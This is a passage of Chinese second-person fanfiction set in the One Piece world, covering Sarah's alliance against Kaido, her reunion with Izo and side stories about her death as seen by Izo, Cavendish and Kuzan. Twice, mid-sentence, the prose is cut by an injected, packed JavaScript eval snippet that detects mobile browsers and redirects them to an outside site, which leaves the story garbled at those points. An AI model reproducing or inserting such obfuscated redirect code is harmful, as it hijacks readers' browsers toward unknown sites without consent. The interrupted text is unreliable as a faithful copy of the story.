而其他人在你诚恳地道出库赞和米霍克的名字时,看向你的目光里充满了敬佩和惶恐。 娜美:“虽然多点人手胜率更大,但凯多对你做了什么吗?以至于你提出杀意这么重的提议。” 罗宾:“先不说这个计划是否可行,难以想象在场的人和他们放在同个国家的画面。” 弗兰奇:“不说别的,还没见面就要打起来了吧?” 布鲁克:“而且萨拉小姐和他们不是——” 趁机被科普了一番两人实力的和之国三人惊掉了下巴,而作为同盟一员的路飞终于咽下了口中的食物,发表了他的看法。 “如果有他们加入,感觉也挺有趣的!” 然后,路飞就被不安的乌索普抓着一直摇了。 “嘛...我也是突然想到的,能不能联系上,联系上他们想不想来又是另一回事。” “前提是联系的上。” 库赞四处旅行,你也没问他要联系方式,大概率是联系不上的。米霍克的话...要是知道你是为了利用他才联系的他,或许会从海的那边拿着黑刀劈死你? 排除掉了库赞这个选项,就只剩米霍克了。 鉴于你还没联系上人,罗没将他们算作战力内。在他们讨论山治的问题时,你绕开人群,拿着电话虫拨通了米霍克的电话。 不对,米霍克真的会接电话吗? 电话虫作响时,你的思绪飘到了遥远的未来,直到电话虫被接通。 米霍克没有说话,你也被接通的电话吓得不敢出声,两人的电话虫就维持着无声但接通的状态。打破寂静的,还是米霍克。 “说吧,你想让我做什么?” 时隔两年听到米霍克的叹息声,你所剩无几的良心在作痛了。更别说你还没开口,米霍克就知道你有事拜托他了。 “你还记得我之前和你说的和之国吗...?” 电话里头的米霍克想起了你和他说和之国闭关锁国,里面很多武士的事。最重要的是,总在你做噩梦时出现的某个名字,就是出自那里的。 所以,为了某个男人从他身边溜走的你,现在又要因另一个男人求他吗? 米霍克没有接受的理由,可看着电话虫模仿你小心翼翼的表情时,米霍克看了眼被自己无意识抚摸到有些模糊的照片。 米霍克有些心累,随后发出一声叹息:“我知道了。” “利用我的报酬,希望你已经想好怎么支付了。” 说完,米霍克就挂掉了电话,留你望着失去动静的电话虫久久不能回神。 基本是同一时间,艾斯找到了你,准备再次说服你一起回白团向老爹请求出战的事。 虽然这件事也很重要,但原谅你还在为米霍克好像同意加入战斗的事而震撼。 “艾斯啊...” “怎么了?” 还没来得及出声的艾斯向你投来不解的视线。你顿了几秒,随后道出刚发生没多久的事。 “你说,你能挡下米霍克的黑刀吗?” “...啊?” 43.完结 一艘船上聚集了所有的前任是一种什么体验?你不知道,只知道你向看热闹的眨眼眨得快抽筋了。 “没想到再次见面会是在这种场景。” 左拥右抱着贝波和骆驼的你看似很平静,实则内心已经打起退堂鼓。你想逃,但引狼入室的人是你,你不可能让罗替你承担。 几乎是同一时间赶到场的米霍克看了一眼快把自己缩成路边石子的你,他觉得你胆子大到能列入伟大航线不可思议事件之一了。 “这么害怕,又何必同时招惹这么多人?” 米霍克的话让你百口莫辩。你是没想到在去和之国的路上能遇到库赞的,你觉得遇到是一种缘分,就抱着试试的心态邀请库赞加入讨伐凯多的队列了。 很意外,库赞同意了,还上船了,附带让你心心念念的骆驼。 以至于罗的潜水艇,出现了前大将、前中将,现役七武海三足鼎立的画面。 要说看得最高兴的,还得是在对面船上,目不转睛盯着潜水艇甲板的索隆一行人。 索隆:“原来黑发魔女是这个意思。” 罗宾:“确实,全部都是黑色头发的。” 弗兰奇:“真是super crazy的魔女啊——” 锦卫门:“这么一说...艾斯阁下也是黑发的?” 桃之助:“黑发有什么特别的含义吗?” 勘十郎:“桃之助还是不要懂为好。” 雷藏:“该、该说什么好呢...” 不,还是不要说了,你已经不敢相信现在的阵容和白团汇合的画面了。先不说他们会不会打起来,你怕自己在他们打起来前就羞愧难当了。 许是你紧张到一定程度,米霍克先一步给你打一剂定心针。 “不会打起来的。” 听出米霍克画外音的库赞也表达了他不会挑起争端的意愿。 “怎么说呢,我只是去和之国旅行的,不用把这件事看的这么重。” 不得不说,两人都很体贴,体贴到你觉得自己有点混账了。还是罗看不过眼,拉着你到一旁阴阳怪气,你才打起精神。 “早就让你别随便喊人了,现在后悔了吧?” 后悔是真的后悔,但罗说完这话后还有什么没说完的表情让你很是疑惑。有什么不能一次性说完的? 虽说如此,想到之后会和老爹他们汇合,你觉得现在的情况还算好...吧? 枉然大悟的你感激地朝罗点头。 “谢谢你,罗。我想开了,现在的情况还不算什么。” 被感激的罗不想说话,甚至觉得无语。 “...我会担心你真是闲的。” 其实只是想你向自己求助的罗很想拆开你的脑子,看看里面是什么结构。没听出罗话外音的你朝他露出微笑:“安啦,除了他们还有呢。” 虽然有想过除了米霍克和库赞,你还有其他的前任。但真的听你这么说后,罗已经无力吐槽了。不过因此恢复精神的你,倒是让他安心了。 反正你的情感关系已经乱成一锅粥了,多一个他也不是问题吧?噢,在此之前还有个和你关系匪浅的艾斯。 - 先到达和之国的你们有自己的任务。鉴于库赞和米霍克的名气太大,他们是按兵不动组。而你,则是和罗宾一起打听花都的情报。 凭借着儿时以藏教你的舞蹈,你和罗宾的潜入不能再顺利了。罗宾聪明又美丽,没人不喜欢她。你的话,则是因为脸上有疤,不像罗宾一样是主推的歌舞伎。 好在你有舞蹈基础在,实力要大于名气。 虽然还没混进黑炭大蛇的宴会,但游离在花都里的自己人似乎多起来了。对,说的就是按兵不动组里那两位。 库赞:“毕竟什么都不能做,来看一下歌舞也算是陶冶情操?” 米霍克:“不用在意。” 你觉得他们需要在意一下,没看到罗宾在一旁偷笑吗?除此之外,浪人形态的罗也不时会来这里喝两杯,以“交流情报”为由来喝两杯。 可你又能拿他们怎么办呢?自己招来的人,自然是要受着的。而且,他们也只是喝个酒看个歌舞,没给计划带来任何变数。 直到后脚来到的路飞一行人,一进国就搞了个大的。前脚刚和罗宾说完路飞他们,后脚你就看到路飞跑进花都扛着水跑了。 “罗要气到肺炸了吧。” 你看着乱成一团的街道,脑海里浮现出罗对路飞一行人说教的样子了。趁机溜出来见你一面的米霍克,看着路飞离去的方向,目光又回到你涂满胭脂的脸上。 米霍克没有顺着你的话题往下说,而是问出了见面以来第一个和计划无关的问题。 “在这之后,你有什么打算?” 猝不及防就问到关键问题了,该说不愧是米霍克吗? 抛开不久后的战斗和可能的伤亡情况不说,想见的人你都见过了。在这之后的计划,自然是回家啊。 “回老爹的身边。” 整片大海能被称为“老爹”的,只有白胡子了。早在来见你时,米霍克就知道你的身份了。许是有了开头,之前难以说出口的话,现在不再困难了。 “抱歉啊,米霍克,到头来我都在利用你。” 你倚靠在小巷的墙,对着背光的米霍克道歉。在你的设想中,米霍克或许会生气,也可能和以往一样,面无表情的接受现实。 可事实是,米霍克笑了,那双锐利的金眸里是不加掩饰的笑意:“想要利用我,你还不够资格。” 这话把你说迷糊了:“那你又是因什么而来的?” 库赞是来贯彻他的正义的,米霍克答应你来时还是七武海,掺和这些事不符合他的人设。不是因为你说的话来的,又是因为什么呢? 话题止于米霍克抵在你额头的食指。屈指弹射的力量不小,你很肯定,没有武装色的部位肯定红了。 在你捂着额头抱怨米霍克偷袭时,偷袭你的人就着漆黑的小巷离去,仿佛一开始就没来过一样。 直到当晚你和罗宾回到据点交流情报时,锦卫门小声告诉你米霍克快把所有拿剑的都打一顿后,你明白了。 “原来是因为武士啊。” 枉然大悟的你换来了一众人无奈的摇头,罗宾则是半掩着唇笑出声来。经过这段时间,不知道为什么关系变好了的库赞看了眼无奈摇头的米霍克,伸手拍了拍他的肩,说了句“别在意”。 - 老实说,你还没做好和以藏见面的心理准备。所以,在据点里见到熟悉的身影时,你在原地怔了一会儿。 “梦?” 不知什么时候,在一旁的人都不见了,留在原地的只有你和以藏。以藏没有说话,而是走到你面前,注视着你的眸中是怜惜,皮质手套拂过的眼睛很热,热得眼角发烫。 “我不是梦,萨拉。” 时隔已久的碰触和声音,还有令你心甘情愿溺死的爱意,都昭示着眼前的人是真实存在的,不是之前睁眼即散的幻影。 意识到这点,你的喉咙里塞进了一团棉花,无论好坏的字句都难以组织成形。可以藏没有催促你回话,抚摸着你将近无形的伤疤的指腹很是轻柔。 “这里还疼吗?” 许是以藏的声音过于温柔,这几年来你的不安、委屈和疼痛,以及对他的想念,都在此时化成了泣不成声的泪。 有点难堪,但情绪波动过大的你分不出精力去注意这些,只是一昧地抱着以藏哭,把他胸前的和服都哭湿了。 没有人打扰你和以藏的重逢,但在看到你化掉的妆和以藏胸前明显的痕迹时,大家心里都有了答案。 即使你已经和锦卫门他们认识了,以藏还是重新向他们介绍了你们的关系。 “这是我的恋人。” 闻言的锦卫门一行人表情很精彩,但在注意到了以藏的黑发后,他们明白了什么。 平复情绪的你楞了几秒,想起了离开前给以藏的信,急忙澄清你和他现在的关系。 “准确的说,是前男友...?” 你说着,看向以藏。后者的脸上满是无奈之情,但还是顺着你的意思改口了。 “对,被单方面分手的前男友。” 说是这样,注视着你的双眸可不是这么说的。 殊不知你们这番对话,在其他人的耳中又是不一样的意思。 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没等你接上以藏的话,连着几天都在照顾病人的马尔科走进房间,问出了你最不想被问的问题。 “比起这个,你不觉得该解释一下你的身体吗?” 本该加入宴会的你,就这么成为了白团的“讨伐”对象。 哈尔塔:“我就说你怎么玩这么大,原来是死前玩把大的?” 萨奇:“让你迟迟不回来,把自己养成这样了!” 比斯塔:“真想让那个罗切开你脑子看看里面装的是什么。” 乔兹:“你这样...让我们怎么放心啊?” 要说最难过的,还是知道你活不长后就一直红着眼眶的艾斯。他没有说话,但看向你的黑眸中是自责。 “你竟然什么都不说——” 比起几位兄长的轮番说教,艾斯发颤的谴责给你带来的伤害更大点。 “...你们听我解释?” - 以藏没有留在和之国,又回到了莫比迪克号。 自从知道你活不久后的事,艾斯黏你黏的厉害,以至于一开始还会宽慰艾斯的你放弃了安慰路线。 “多大点事,最后我们都会在另一个世界见面。” 你的一句话让身体越发不好的老爹笑出了声,他对于你说的话很赞同,甚至和你赌起了谁会先去那个世界,然后你和老爹都被马尔科骂了。 “老的这样小的也这样,你们就是这么给小辈做榜样的吗?!” 自知理亏的你躲到了以藏身后,试图用以藏的身体替你挡下马尔科的说教。很可惜,以藏也觉得你需要被骂两句,没有给予你帮助。 你看着在你身旁,似笑非笑的跟着你一起听马尔科说教的以藏,马尔科说的话都成耳边风了。 见你的思绪全在以藏身上,马尔科觉得心累,不想浪费口水,便把你和以藏赶到一边,专心对老爹说教。临走前,你还看到老爹疑似谴责你的表情,看的你忍不住躲在以藏身旁偷笑。 知道你在为什么而笑的以藏嘴角跟着上扬,无奈的话语里掺杂着几分笑意。 “你啊...” 面对以藏无奈的低语,你回以俏皮的弧度。 现在想来,未来的事由不得活在当下的人来考虑。你所能做的,只有享受当下的人和事。 至于其他的烦恼,那都是后来的人该考虑的了。 许是甲板上的夕阳过于美丽,自重逢后没和以藏说过复合的你,第一次主动叫了以藏的名字。 “以藏。” 牵着你手的以藏应声看向你:“怎么了?” 看着含笑的双眸,你朝以藏招手,示意他低下头。直到以藏凑到你的嘴边,那句于海贼来说过于肉麻的话,终于能说出口了。 “我爱你。” 闻言的以藏怔在原地,再次和你对上视线时,你看到了以藏眼底的笑意。 “我爱你。” 简短有力的爱语,是见证你们关系的最好证明。 44.以藏番外:家[番外] 在生命的最后一刻,你下船了。陪你下船的是以藏,你们换了个名字在老爹的故乡生活。 打开窗就能看到随风飘荡的花草,烟火气十足的居家生活。这里没有海,没有枪炮声,只有生活在这里的老人和小孩。 你和以藏住在山坡上,你身体状况较好时,以藏会和你下山,在镇上闲逛。 这座不受政府和海贼叨扰的小岛民风淳风,饶是你和以藏这样的外地人,岛上的居民也待你们很好。更是在知道你和以藏的关系后,调侃你们很般配。 每当这时,你就会顶着微红的脸和他们道谢,以藏则是在一旁低笑,让他们不要过多调侃你。 “她比较害羞,还请嘴下留情。” 本就发热的脸,在以藏和居民无恶意的笑声中更热了。 “什么啊,你的脸也很红好吗?” 你伸手触碰以藏的脸,后者主动凑上前,让你的碰触更方便。施以胭脂的脸正洋溢着笑容,注视着你的双眸里也是笑意。准备扯动人脸的手,在以藏的笑中中断。 察觉到你意图的以藏握住了你的手,若无旁人的互动让你脸上的温度又升了些许。 “满意了吗?” 他总是如此,不需要做什么,就能让你心动不已。 - 马尔科会定期过来给你做检查,来的时候也会带上船上的大家让带的礼物和口信。有给你的,也有给以藏的。 但给以藏的口信,基本都是照顾好你之类的话。习以为常的以藏只是无言地笑,将那些满含祝福的“礼物”和口信尽数收下。 今天的你状态还不错,以至于马尔科复查完后,你还有精力去书房看书。 “我就不招待你了,招待的事交给以藏了。” 你朝着坐在客厅的两人说道,马尔科朝你回了个“OK”的手势,以示他收到了你的口信。待你关上书房门,有段时间没见的两人相坐在客厅。 这个时候,以藏想起还没给马尔科泡茶的事。 “茶还是水?” 被问及的马尔科面露诧异,这些于海贼而言可是淡到无味啊。 “就没有酒这个选项吗?” 看着面露难色的马尔科,以藏笑了:“没有,她说想让我活久点。” “原话是‘你要是比我早走,我就到处找小年轻在你面前晃悠’。” 谈起来应该是令人气愤的话,在以藏的口中显得甜腻而温馨。而被迫直面你们恩爱的马尔科表情复杂,他就知道,不该多问的。 “给我茶吧,这话甜到发腻了。” 话里话外无疑是对以藏无前摇秀恩爱的嫌弃。以藏没有接话,只是笑着给马尔科泡茶,期间不忘给书房的你拿了杯水。 做完这些后,两人才正式聊起家常。像是老爹的身体状态越发下降、艾斯在海上的影响力又强了不少之类的。 除了这些,马尔科还说了路飞和罗的一些情报,整体来说,都是好的。直到上面的话题轮了一圈,马尔科说起了你的情况。 “情况比上次的还差,最近经常生病吗?” 谈到这个话题,以藏放下手中的茶杯,下意识看了眼你所在的书房,视线又落在立起茶梗的杯中。 “啊,前天晚上突然高烧,昨天才好一点。” 你的身体就像是要把所有的病都走一遍一样,隔三岔五就会有新的状况。就像前天晚上的高烧,半夜听到动静起身的以藏,整晚没敢合眼,生怕你会就此长眠。 作为你的主治医生,马尔科已经用尽了所有的药物和方法。他们都很清楚,你的生命正在加速流逝。可作为你的家人,马尔科还是抱有一线期待。 “要回船上吗?或许换个环境...” 未完的话止于以藏的对话。 “她在这更开心,我会陪她到最后的。” 马尔科很清楚,以藏说一不二的性格。虽然以藏在你面前不曾流露难过或沮丧之情,马尔科多少也能看出,以藏情绪稳定中的不安。 “真的没问题吗?我说你。别等一下一个没好,又倒下一个yoi。” 带着调侃的语气说出了真心话,以藏的回复是含笑的轻哼。 “不会的。” “我不会走在她前面的。” - 倒映在镜中的你仍旧美丽,只是脸色苍白,找不到这个年龄该有的红润。相较之下,替你打理发丝的以藏还是一样美丽。 许是近日来急速变差的身体,你对于自己的样貌和以藏未曾改变的态度感到不安。 “以藏会嫌弃我吗?” 你急于向以藏寻求答案,后者面露无奈,带有抱怨性质的食指在你额头点了两下。 “想什么呢?今天的天气不错,要出门吗?如果出门,我去准备野餐的东西。” 以藏的话让你看了眼窗外。只见窗外绿油油的草地正因拂过的微风摇摆,长势甚好的花上有蝴蝶停在上面。所见的景色,都是海上所没有的。 虽然你在海上生活了十几年,但从心而论,你更喜欢陆地一眼便看得到边际的景色。说是如此,你还是喜欢水的,比如你们家不远处那片碧绿的湖。想到那片湖,你的精神好了不少。 “嗯,我们去野餐吧!就后面那片湖,我想去那。” 见你情绪好了些,以藏在你眼角落下一吻。 “我知道了,你先找衣服穿,我去准备东西。” 你目送了以藏离开房间,随后起身,在衣柜里翻找着符合今天天气的衣服。 难得出门,衣服要精挑细选,自然少不了精致的妆容了。老实说,你的化妆技术不如以藏,但不管什么时候、化成什么样,以藏都会发自内心的夸赞你。 “很好看。” 这么说着的以藏,低头亲吻了你的唇瓣,然后被你抱怨他蹭掉了刚抹上的口红。 任由你抱怨的以藏笑着应下了你的控诉,还允诺到湖边时给你补上。 说是野餐,你们也只是换了个地方坐和聊天。 你靠在以藏身上,望着前方碧绿的湖面,耳边是以藏有序的心跳声,不时还能听到清脆的鸟鸣。 现在想来,理应走在你前面的以藏,如今却要亲眼看着你走向生命的终点。可他不曾有所怨言,珍惜着和你在一起的每一天。 光是想到你不能再在以藏身边这件事,你的眼泪就落下来了。而感受到胸前衣物湿润感的以藏,急忙将你扶起,查看你的情况。 “是哪里不舒服吗?” 还在为突然袭来的情绪落泪的你摇头。你想安抚以藏因此波动的情绪,可哽咽的嗓音令你无法言语。 见状,以藏没再追问你,而是将你揽入怀,一言不发地等你平复情绪。 你的妆花了,不用看也知道现在的你很难看。即使如此,以藏还是夸你好看,并按来时说的一样,给你补上了口红。 看着以藏专心为你补妆的脸,你的眼眶又有变红的倾向。你知道,以藏将会以这个样子,刻在你的记忆里。 他不会老去,也不会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049389|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有所变化。陪他走到最后的人也不会是你,可能是船上的某个人,也可能是船外的人。 可以藏会陪你走到最后,会见证你生命的最后一刻,然后孤身一人回到莫比迪克号。他可能会带着小小一盒的你回去,也可能会什么都不带。 光是想到以藏身边空出了位置,还要一个人航海,你对这片土地和“家”的喜欢也没这么强烈了。 “我们回去吧。” 描绘你唇形的指尖微顿。 “不想野餐了吗?那我收拾一下。” 你摇头,握住了以藏的手,努力扯起嘴角,朝他露出笑容。 “我是说,我们回到大家身边吧。” “我想家了。” - 回家的路很平稳,一路上没有海王类和其他人的打扰。 再次见到你的大家都很高兴,有新面孔,也有熟悉的面孔。熟悉的面孔把你抱起,在你的抱怨声中扭头抱怨以藏没照顾好你。 “我就知道,以藏的手艺哪有我的好。等着,我去给你做大餐!” 萨奇将你放下后,以藏伸手稳住你后退的身躯,在你笑声中和萨奇斗嘴。 “当着我面拉踩,胆子不小。” 走远的萨奇没有回话,只是背对着你们招手,回话的是从小就喜欢逗你的哈尔塔。 “这哪叫拉踩啊,明明是事实啊!一直吃炸豆腐丸子早就吃腻了对吧?” 前半句是对以藏说的,后半句是看着你说的。在以藏“别瞎说”的声音中,你接上了哈尔塔的话。 “嗯,饭团也吃腻了。” 然后你就被兢兢业业照顾你饮食的以藏教训了。说是教训,也不过是弄乱你的头发,在之后给你扎起来罢了。 - 你的离去是意料之中的事。从你改变主意说要回船上时,以藏就知道你快要离开他了。 说来也是奇妙,知道那天快要来临时,以藏的心情比刚知道你活不久时的心情要稳定。 从一开始的四处求医和无法接受,到最后陪着你、亲眼见证你从活蹦乱跳到只能卧床不起的过程,以藏的心情逐渐趋于平静。无论接受与否,你的离去是既定的事实。 你说,你不想在陆地上待着,想要陪着他们,一直在海上航行。 所以他照你说的做了,把装在盒子里的你撒到海里。你房间里的物品被清空了,留在他那里的只有一些常穿的衣物。 对于死亡,他们的接受能力远比一般人要高。说是这样,艾斯还是哭得一塌涂地,身体比你健朗的老爹倒是笑得很开心。 老爹说,你只是先一步去那个世界等他们而已,即使他们都不相信有死后的世界。 如果有死后的世界,以藏相信你不会过的很差。先一步到达那里的家主和夫人,都会对你额外照顾。但你的话,不用照顾也能活得好好的。 和前几年你离开时一样,以藏已经能接受他要等待的事实了。 “再等等吧。” 以藏眺望着海面和太阳的交点,他似乎知道你为什么喜欢发呆了。不带任何情绪和想法的眺望远方,确实要来的轻松。 那句“我会去见你”还没来得及说出口,他的脑海里就浮现出你为此生气的表情。 即使他知道,你不可能在他耳边说话了。想到这,以藏的眼角微润,含笑的声音里带着几分不易察觉的哽咽。 “我知道了,我不会这么快去见你的。” 要是他这么快过去,不就没什么人记得你了? 45.卡文迪许番外:讨厌的朋友[番外] “载我一程吧。” 这是你和卡文迪许第三次见面时说的话。这个时候的卡文迪许,已经不是独自一人出海的新人了。他的船上有很多船员,每个人的赏金都不同。 一旁的船员正在等卡文迪许的回复,你也在等。只见宝石蓝的双眸扫了你一眼,双手抱胸的卡文迪许放下了手,他笑了。 “这次不说让我下船的话了?” 你很意外,为卡文迪许还记得你们相识时说的话,这样的事实令你感到高兴。 “你想的话,我也能这么说。” 闻言的卡文迪许哧笑出声,认出你的法鲁鲁在一旁用湿漉漉的鼻尖拱你,你照着之前的记忆安抚法鲁鲁。 许是你安抚的动作不见生涩,卡文迪许的心情大好。 “得了吧,你就没这么想过。不就是载你一程吗?当然可以。” 于是,你生命中最后的航行在卡文迪许船上度过。 - 卡文迪许不知道你的情况,他只觉得你是厌倦了前任和现任,想要换个口味而出海。你乐于见的卡文迪许用这种态度对你,便隐去了扫兴的真相。 你喜欢和卡文迪许相处时的氛围,很大程度是因为他的情绪从不藏着掖着,且人很真诚,向来都是有什么说什么。和他在一起,你总能听到他为各种事情发表感想。 “草帽小子的赏金又上涨了!” “可恶,明明本少爷在这件事里更出彩才对!” “什么?‘火拳’还嫌头条麻烦?!这种麻烦给我啊!” 诸如此类的话,你经常能从卡文迪许那里听到。 每次说到让他羡慕嫉妒恨的事时,你总能看到出海多年、赏金几个亿的卡文迪许和港出海时一样,把令他生气的报纸扔在地上,随后用好看的鞋在上面踩几脚,最后怒气冲冲地跑到你面前,一口喝掉杯中的红茶。 习以为常的船员不发表意见,你倒是看的津津有味。 “你还是和之前一样,没有一点变化啊。” 听出你话语里没有贬义的卡文迪许打量了你一眼,宝石蓝的双眸定在你的脸上。 “是吗?我倒是觉得你变化很大,是从哪个男人那里受到情伤了吗?” 大有一副你说“是”,就马上掉头把让你受伤的男人凌迟的准备。 你觉得卡文迪许很有意思,伟大航线上的海贼都觉得你才是让人受伤的那个,在卡文迪许这里,他总觉得你是交往中会受伤的一方。 “这倒没有,你也看到报纸上是怎么报道我的。” 你的话让卡文迪许想起了刚才扫到的报道,里面说某个海贼因你的喜好,全船都染了黑发,只等你到访。想到这,卡文迪许就捧腹大笑。 “说的也是,只对黑发感兴趣的‘魔女’。” 不管几次,卡文迪许都觉得这个代号太适合你了。虽然听上去没什么魄力,但精准概括了你的取向。 你看着眼前为你代号笑得眼泪都出来的卡文迪许,不禁为此摇头,喝红茶的嘴角却压抑不住上扬的弧度。 和卡文迪许航行那段时间很开心,他总是能给你带来笑点。特别是他和他的船副吵架、船副在争吵后拿他没办法的画面,你百看不腻。 因为卡文迪许的缘故,他船上的船员对你印象不错。在你离开前上船的船员更是如此,船医甚至悄悄告诉你,一开始卡文迪许让你住的那个房间,就是他为你留的。 “卡文迪许大人说,如果你来投奔他,临忙收拾出房间对你很失礼。” 船医的话解开了你对房间的疑问。你就说卡文迪许换了搜大船,让你住的房间却和第一艘船的一样。 你出海的第一位朋友,即使是在不知道什么时候才能见上一面的伟大航线里,也一直都给你留着位置。 虽然卡文迪许没和你说过这些就是了。 - 此次出行,你的目的地是老爹辖区的某个岛屿。会遇到卡文迪许,也是你跟着生命卡找的他。 你和卡文迪许航行了几个岛后,估摸着差不多了,便准备在下一座岛下船。 面对你的下船请求,知道你不会留在船上的卡文迪许沉默了半晌,最后在你的注视下,问出了和香波地群岛分别时无异的话。 “不住久点吗?你知道的,我不会亏待你的。” 整艘船的人都知道,卡文迪许怎么对待自己,对你便是同样的规格。要谈亏待,你才是亏待他的那方。 不等你接话,难得淡定的卡文迪许想到了什么,从他喜爱的椅子上站起,恨铁不成钢地抵着你的额头,念叨着他对你的不满。 “你总是这样,一声不吭的出现,又突然离开,就不能找个海贼团或者岛稳定点吗?” “这次离开又要什么时候才见面?电话虫能不能收好?” 一句接一句的话,听得你胸口泛起一阵暖意。显然,卡文迪许不想你离开。赶在卡文迪许说出更多对你的怨言前,你出声叫停了卡文迪许,和他交谈前迟迟未下定决心的事,也全盘托出。 “之后我们可能见不了面了,卡文迪许。” “下次见面,应该是在另一个世界的事了。” 简短的两句交代了你此行的目的,猝不及防接收到巨大的卡文迪许,宝石蓝的双眸是意外,意外过后是对你轻描淡写态度的气愤。 “我就知道、你这家伙哪可能没什么来看我!原来是见最后一面?!” “你肯定是打算什么都不说就离开吧?我真的受够你这种什么事都不说的性格了!” 抓着你肩膀的手很有力,卡文迪许俊美的脸上全是对你的不满和愤怒。 虽然很混账,但看到朋友为你的事如此大动肝火,你竟觉得高兴。不出意外的,你不合时宜的笑让卡文迪许更气了。 “还笑?!气我就这么高兴吗!你个混蛋,给我在这等着!” 把你按在自己喜欢的椅子上后,卡文迪许踩着急促的步伐往外走,边走边喊着船医的名字。 即使你再三告诉他,这是无法改变的事实,让他不用浪费精力,卡文迪许只回你一句“闭嘴”,让船医继续为你做检查。 直到船医也摇头,震怒的卡文迪许冷静下来了。好看的宝石蓝双眸中,是你看不透的情绪。 你见过卡文迪许震怒的样子,也见过他得意转圈歌颂自己魅力的反应。像现在这样,一言不发什么都不说,还是第一次。 这种安静,在只有你和卡文迪许独处一室的场景里过于诡异了。诡异到你想为自己的到来道歉时,卡文迪许移开落在你身上的视线。 “我真的很讨厌你,萨拉。” 饶是你知道自己不讨喜,听到卡文迪许亲口说出来时,你的心跳还是为此慢了半拍。 你没有接话,卡文迪许也没有让你接话的意思,就着不怎么愉快的话题继续往下说。 “从你一开始不顾我的想法和感受,跟土匪似的加入我的航行时,我就觉得你和我不是一路人。” “你很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054288|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强,也很任性,又不擅长表达自己的情感。很多时候,我都觉得你像是世界里的局外人,随时都会消失。” “还喜欢黑发,喜欢到路过的人是黑色头发都得看两眼的程度,明明你身旁就站着个明日之星。” 说到这,卡文迪许顿了一下,又转过头看向你。他的脸上没有笑容,仔细看的话,还能看到他微红的眼眶。 “可也是这样的你、从不否认我说的话,我说什么你都会听,也会给我出主意。” 逐渐染上泣音的话语,连带着你的眼眶也变得发烫。只见他深呼吸一口气,在法鲁鲁贴脸安抚他的动作中,调整了情绪。 “你是个讨厌的家伙、我真的很讨厌你——” 反复强调自己对你的厌恶的卡文迪许,好看的宝石蓝终究是染上了一层水雾。 “所以、你得活下去,尽可能活久点。” “只有这样、我才有机会继续讨厌你啊...!” 结果到最后,两年前手忙脚乱安抚你的卡文迪许,在两年后成为被你安抚的角色。 说真的,你不知道怎么安抚抱着你大哭,让你别死的卡文迪许,只能一昧地轻抚他因情绪失控抽搐的背脊,期间法鲁鲁也在一旁,用湿润的鼻尖拱着卡文迪许的脸,和你一起安抚他。 你和法鲁鲁的安慰没起到什么效果,还是卡文迪许哭累了入睡,换成哈库巴才好点。 但哈库巴的情绪也不太对,即使他存在的本身就不一样。没再嚷嚷着要见血的哈库巴让你很不适,更别说他什么都不说,就这么看着你。 为了打消这种诡异的互动,你主动开口和哈库巴对话。 “你还想让我血流成河吗?” 闻言的哈库巴回以不屑的哧笑:“折磨你这种快死的人哪里有趣了。” 说完这句话,哈库巴就消失了,取而代之的是睡梦中的卡文迪许。 - 你的生命卡完全消失时,做好心理准备的卡文迪许还是试着抓住燃烧的纸片。他抓住了,可最后一角的生命卡被海风带走,在他无法握住的距离里烟消云散。 卡文迪许的故事还在进行,你的故事却到达了终点。他不知道你在生命的最后一刻是否有人陪着,也不知道陪着你的人是不是你的心上人。 但他知道,你肯定是笑着离开的,用毫无阴霾的笑容和他道别,和这片大海道别。 要问卡文迪许讨不讨厌你,他的答案是肯定的。除了法鲁鲁,你是他交的第一个朋友。也是你这个朋友,让他体验了前所未有的情感。 你见过他无法保持优雅和华丽的样子,也见过他被打肿脸的样子,虽然以上不堪的画面基本都是你造成的,但卡文迪许并不讨厌这种互动。 他讨厌的,是你体贴过头到无情的温柔,是从不露脸化为行动的情感。 要是你没有下船、没有瞒着他重要的事——不,没有如果,这都是既定的事实。 察觉到他情绪波动的法鲁鲁凑上来,用温热的皮毛蹭着卡文迪许的脸。卡文迪许轻抚着法鲁鲁的背脊,像是安慰它的情绪,又像是安慰自己。 “我没事的,法鲁鲁。” “我只是有点生气。” 可想到你在他生气时无奈又宠溺的表情,这点微不足道的气愤随着回忆的画面散去。 “算了,生她的气只会气死我。” 等他走完伟大航线,再去你的坟前好好骂你一顿。到那个时候,再让你知道惹他生气的下场有多严重好了。 46.库赞番外:偶遇[番外] 再次见到库赞时,是你们靠岸修整的时间。于是,在全是海贼的酒吧里,四处流浪的库赞出现了。 库赞的出现,于双方而言都是意外。但有了和之国的合作,双方的气氛不至于上来就争锋相对,更是在库赞表明他只是来喝酒后,一伙人兴高采烈地邀请库赞加入酒局。 老爹的身体不适合喝酒了,所以老爹不在酒吧里。作为不能喝酒,对酒也不感兴趣的你,在充斥着烟酒味的酒吧里用果汁充数。 期间以藏有问你是否需要离席休息,被你摇头拒绝了。 “我还想再体验一下这种感觉。” 见你坚持,以藏也不强求你离开,还被乐于看热闹的比斯塔等人吆喝着和库赞拼酒。 “是男人就喝!看看你们谁才是赢家!” “那肯定是情感和酒量都很好的以藏队长啊!” “难说,万一是曾经获得萨拉芳心的库赞呢?” 莫名成为话题中心的你有些茫然,而被迫推上“擂台”的库赞和以藏,正一言不发地看着对方。 四目相对的两人不熟,要说唯一的交集,就只有你。天晓得事情是怎么发展到这个地步的,两人又是因什么应下了根本构不成纷争的酒局的。 